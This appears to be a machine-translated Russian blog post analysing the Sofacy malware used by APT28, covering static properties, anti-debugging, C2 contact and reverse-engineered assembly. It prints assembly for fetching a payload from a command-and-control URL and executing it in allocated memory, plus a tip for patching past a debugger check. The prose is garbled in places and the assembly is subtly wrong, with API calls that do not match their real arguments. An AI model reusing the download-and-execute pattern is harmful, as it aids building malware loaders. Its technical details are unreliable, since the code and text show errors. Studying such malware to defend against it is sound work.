APT28, также известная как Sofacy, Fancy Bear и Pawn Storm, представляет собой печально известную продвинутую постоянную угрозу (APT). ), которая активно действует по крайней мере с 2007 года. APT28 считается спонсируемой государством группой, связанной с правительством России, и была замешана в нескольких крупных профильные кибератаки, в том числе президентские выборы в США 2016 года. В этом сообщении блога мы проведем всесторонний анализ вредоносного ПО APT28, изучая его статические свойства, поведение и реверсирование кода вручную.

Анализ статических свойств

Известно, что APT28 использует множество вредоносных инструментов и методов, но одним из наиболее часто используемых инструментов является вредоносное ПО Sofacy. В этом разделе мы рассмотрим статические свойства образца вредоносного ПО Sofacy.

Во-первых, мы будем использовать такой инструмент, как VirusTotal, для получения информации о хэшах файла, типе файла и другой базовой информации. В следующей таблице приведены результаты анализа VirusTotal:

Имя файла: Sofacy.exe

Размер файла: 366 КБ

Хэш MD5: 0d3779c6746a7b38f4f4c4aeba55f9cc

Хэш SHA-1:8c7f722467c1b7ec87110edc4a4f0766c0b746df

Далее мы воспользуемся таким инструментом, как PEview, чтобы изучить Portable Executable (PE) заголовок файла. . Заголовок PE содержит важную информацию о файле, такую ​​как вход точка, импорт таблица и экспортировать таблицу.

Из заголовка PE видно, что точка входа точка файла находится в 0x1000 и что импорт таблица находится по адресу 0x1f10. В таблице импорта перечислены все функции, которые файл импортирует из других динамических ссылок библиотек. сильный> (DLL).

Анализ поведения

Чтобы проанализировать поведение вредоносного ПО Sofacy, мы будем использовать инструмент динамического анализа, такой как Microsoft Sysinternals Process Monitor. Монитор процессов позволяет нам наблюдать за системными событиями и вызовами API, выполняемыми вредоносной программой во время ее выполнения.

При запуске вредоносная программа Sofacy немедленно создает мьютекс с именем «Global{случайные символы». Это распространенный метод, используемый вредоносными программами для предотвращения запуска нескольких экземпляров одной и той же вредоносной программы в одной системе.

Затем вредоносное ПО проверяет, запущено ли оно под отладчиком, вызывая функцию IsDebuggerPresent(). При обнаружении отладчика вредоносная программа завершит свою работу. Чтобы обойти эту проверку, просто исправьте исполняемый файл, перевернув бит, чтобы показать, что отладчик отсутствует. Это еще один распространенный метод, используемый вредоносными программами, чтобы избежать обнаружения исследователями безопасности.

Затем вредоносное ПО Sofacy устанавливает связь со своим сервером управления и контроля (C2), отправляя HTTP запрос. Запрос включает информацию о зараженной системе, такую ​​как версия операционной системы и имя компьютера. Сервер C2 отвечает набором команд, которые необходимо выполнить в зараженной системе.

Ручное реверсирование кода

Наконец, мы вручную реверсируем код вредоносного ПО Sofacy, чтобы лучше понять его функциональность. Мы будем использовать дизассемблер, такой как IDA Pro, для дизассемблирования файла на языке ассемблера.

Одной из ключевых функций вредоносного ПО Sofacy является его способность загружать и запускать дополнительные вредоносные программы компоненты. с сервера C2. В следующем фрагменте кода показана реализация этой функциональности на языке ассемблера:

push 0
push offset URL
call ds:InternetOpenA
mov [ebp+var_20], eax
push 0
push 0
push 0
push 0
push 0
push [ebp+var_20]
push offset ObjectName
push offset Headers
push offset AcceptTypes
push 0x80000000
push 0x80000000
call ds:InternetOpenUrlA
mov [ebp+var_1C], eax
push 0
push 100h
push [ebp+var_1C]
call ds:InternetReadFile

В этом коде функция InternetOpenA вызывается с использованием URL сервера C2, а затем функция InternetOpenUrlA используется для открытия соединение с URL. Затем функция InternetReadFile используется для загрузки данных с сервера C2.

Еще одной важной функцией вредоносного ПО Sofancy является возможность выполнения произвольного кода в зараженной системе. В следующем фрагменте кода показана реализация этой функции на языке ассемблера.

push 0
call ds:VirtualAlloc
mov [ebp+var_18], eax
push [ebp+Size]
push [ebp+Buffer]
push [ebp+var_18]
call ds:memcpy
push 0
push 0
push [ebp+var_18]
call ds:CreateThread

В этом коде функция VirtualAlloc используется для выделения блока памяти для сохранения произвольного кода. Затем функция memcpy используется для копирования кода из буфера в новый выделенный память. Наконец, функция CreateThread используется для создания нового потока, который будет выполнять произвольный код.

Заключение

APT28 — высокоразвитая и настойчивая угроза, действующая уже более десяти лет. В этом сообщении блога мы провели всесторонний анализ вредоносного ПО Sofacy, одного из инструментов, используемых APT28. Мы изучили его статические свойства, поведение и реверсирование кода вручную, что позволило глубже погрузиться во внутреннюю работу вредоносного ПО. Эта информация может использоваться исследователями безопасности для лучшего понимания и защиты от угрозы APT28.